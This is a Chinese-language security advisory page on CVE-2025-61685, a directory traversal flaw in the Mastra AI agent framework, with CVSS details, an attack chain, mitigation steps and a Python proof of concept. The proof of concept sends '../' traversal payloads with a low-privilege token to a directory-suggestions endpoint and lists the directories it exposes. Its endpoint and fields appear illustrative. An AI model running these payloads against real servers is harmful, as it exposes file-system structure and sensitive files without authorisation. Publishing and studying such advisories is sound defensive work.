IPBUF安全漏洞报告
English
CVE-2025-61685 CVSS 6.5 中危

CVE-2025-61685 Mastra框架目录遍历漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-61685
漏洞类型
目录遍历(Directory Traversal)
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mastra(TypeScript AI代理与助手开发框架)

相关标签

目录遍历Directory Traversal路径遍历信息泄露MastraAI框架TypeScript中危漏洞CVSS 6.5CWE-22

漏洞概述

CVE-2025-61685是Mastra框架中存在的一个目录遍历(Directory Traversal)漏洞,CVSS评分为6.5,属于中危级别。该漏洞影响Mastra 0.13.8至0.13.20-alpha.0版本,已在0.13.20版本中修复。

Mastra是一个用于构建AI代理和助手的TypeScript框架,广泛应用于AI应用开发领域。该漏洞源于框架代码中虽然包含防止路径遍历的安全检查机制,用于保护文件内容的读取操作,但该检查在后续用于查找目录建议(directory suggestions)的逻辑中被有效绕过。攻击者可以利用此缺陷列出用户文件系统上任意目录的内容,包括用户的家目录,从而暴露文件系统结构的敏感信息。

根据CVSS 3.1向量分析,该漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),所需权限为低权限(PR:L),无需用户交互(UI:N)。漏洞对机密性影响为高(C:H),对完整性和可用性无影响(I:N/A:N)。这意味着经过身份验证的低权限用户可以通过远程方式获取服务器文件系统的大量敏感信息,可能导致配置文件、密钥文件、用户数据等敏感信息泄露。

技术细节

该漏洞的核心问题在于Mastra框架的文件系统操作代码中存在逻辑缺陷。具体技术原理如下:

1. **安全检查机制存在**:Mastra框架的代码中包含用于防止路径遍历的安全检查逻辑,主要目的是保护文件内容读取操作免受目录遍历攻击。这种检查通常会验证用户提供的路径是否在允许的目录范围内。

2. **检查被后续逻辑绕过**:虽然安全检查存在于文件读取路径上,但在后续用于查找目录建议(directory suggestions)的功能代码中,该检查并未被正确应用或被有效绕过。这意味着当系统尝试为用户提供目录自动补全或建议功能时,攻击者可以提交包含特殊路径序列(如../)的输入来访问预期目录之外的路径。

3. **利用方式**:攻击者通过精心构造的请求,利用目录建议功能的API端点,提交包含目录遍历序列(如`../../../etc/`或`~/`等)的路径参数。由于安全检查在此逻辑路径上未生效,服务器将返回目标目录的内容列表,包括文件名、子目录等元数据信息。

4. **影响范围**:由于该漏洞允许列出任意目录的内容,攻击者可以枚举文件系统结构,获取敏感配置文件(如.env文件、SSH密钥、数据库配置等)的存在信息,进而为后续攻击提供信息支持。

该漏洞已通过GitHub安全公告GHSA-xh92-rqrq-227v披露,修复提交为7f2b528ba82db512d68832d2f8ad6cbc8bb46cd4。

攻击链分析

STEP 1
步骤1:获取低权限访问
攻击者首先需要获取Mastra实例的低权限认证凭据(如普通用户账户),因为该漏洞需要低权限(PR:L)即可利用。
STEP 2
步骤2:识别目录建议API端点
攻击者通过API文档或流量分析,识别Mastra框架中提供目录建议功能的API端点,该端点通常用于文件路径自动补全。
STEP 3
步骤3:构造目录遍历Payload
攻击者构造包含路径遍历序列(如../)的恶意请求,目标是访问预期目录之外的路径,如用户家目录或系统敏感目录。
STEP 4
步骤4:绕过安全检查
由于目录建议功能的代码路径未正确应用路径遍历检查,攻击者的恶意路径能够通过验证,服务器处理该请求并列出目标目录内容。
STEP 5
步骤5:枚举文件系统结构
服务器返回目标目录的文件和子目录列表,攻击者利用此信息枚举整个文件系统结构,识别敏感文件和配置。
STEP 6
步骤6:信息利用与后续攻击
攻击者利用获取的目录结构信息,发现敏感文件(如配置文件、密钥文件、凭证文件等),为后续攻击(如权限提升、数据窃取)做准备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-61685 PoC - Mastra Directory Traversal # Vulnerability: Directory Traversal via directory suggestions bypass import requests # Target configuration TARGET_URL = "http://target-mastra-instance:4111" API_ENDPOINT = "/api/suggestions" # Directory suggestions endpoint # Authentication credentials (low privilege required) AUTH_TOKEN = "your_low_privilege_token" def exploit_directory_traversal(target_path): """ Exploit directory traversal to list arbitrary directory contents. The security check is bypassed in the directory suggestions logic. """ headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } # Craft payload with path traversal sequences payload = { "path": target_path, # e.g., "../../../etc/" or "~/" "type": "directory_suggestion" } response = requests.post( f"{TARGET_URL}{API_ENDPOINT}", json=payload, headers=headers ) if response.status_code == 200: data = response.json() print(f"[+] Directory listing for: {target_path}") for item in data.get("suggestions", []): print(f" - {item['name']} ({item.get('type', 'unknown')})") return data else: print(f"[-] Request failed with status: {response.status_code}") return None # Example usage if __name__ == "__main__": # List user's home directory exploit_directory_traversal("../../../") # List /etc directory exploit_directory_traversal("../../etc/") # List application configuration directory exploit_directory_traversal("../../app/config/")

影响范围

Mastra >= 0.13.8
Mastra < 0.13.20
Mastra 0.13.20-alpha.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)通过网络访问控制限制对Mastra API端点的访问,仅允许可信IP地址访问;2)在反向代理或API网关层面添加输入过滤规则,拦截包含路径遍历序列(../、..\等)的请求;3)修改Mastra进程运行用户的权限,限制其对敏感目录的读取权限;4)监控异常的目录建议API调用,设置告警阈值;5)暂时禁用目录建议功能(如可配置),直至完成升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表